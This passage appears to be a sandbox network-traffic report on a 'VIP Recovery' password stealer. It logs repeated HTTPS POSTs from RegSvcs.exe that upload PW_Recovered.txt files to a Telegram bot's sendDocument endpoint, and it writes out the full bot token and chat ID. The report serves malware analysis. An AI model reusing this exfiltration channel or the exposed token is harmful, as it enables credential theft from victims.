2024-09-19 10:22:12 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 61 32 62 36 66 35 39 34 36 66 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcda2b6f5946f9Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:22:12 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:12 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:12 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12753,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	61539	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:13 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcda7b752d16fc Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:13 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 61 37 62 37 35 32 64 31 36 66 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcda7b752d16fcContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:22:13 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:13 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:13 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12754,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	61542	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:16 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcda4f67f6f17f Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:16 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 61 34 66 36 37 66 36 66 31 37 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcda4f67f6f17fContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:22:16 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:16 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:16 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12755,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	61544	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:17 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcdab15e90aa9c Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:17 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 61 62 31 35 65 39 30 61 61 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcdab15e90aa9cContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:22:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:17 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:17 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12756,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	61546	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:20 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcda7d977e6e0c Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:20 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 61 37 64 39 37 37 65 36 65 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcda7d977e6e0cContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:22:20 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:20 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:20 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12757,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	61547	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:21 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcdaf9aed13a59 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:21 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 61 66 39 61 65 64 31 33 61 35 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcdaf9aed13a59Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:22:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:21 GMT Content-Type: application/json Content-Length: 562 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:21 UTC	562	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12758,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	61550	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:24 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcdab98bdf9072 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:24 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 61 62 39 38 62 64 66 39 30 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcdab98bdf9072Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:22:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:24 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:25 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12759,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	61551	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:25 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcdb6b0f853274 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:25 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 62 36 62 30 66 38 35 33 32 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: 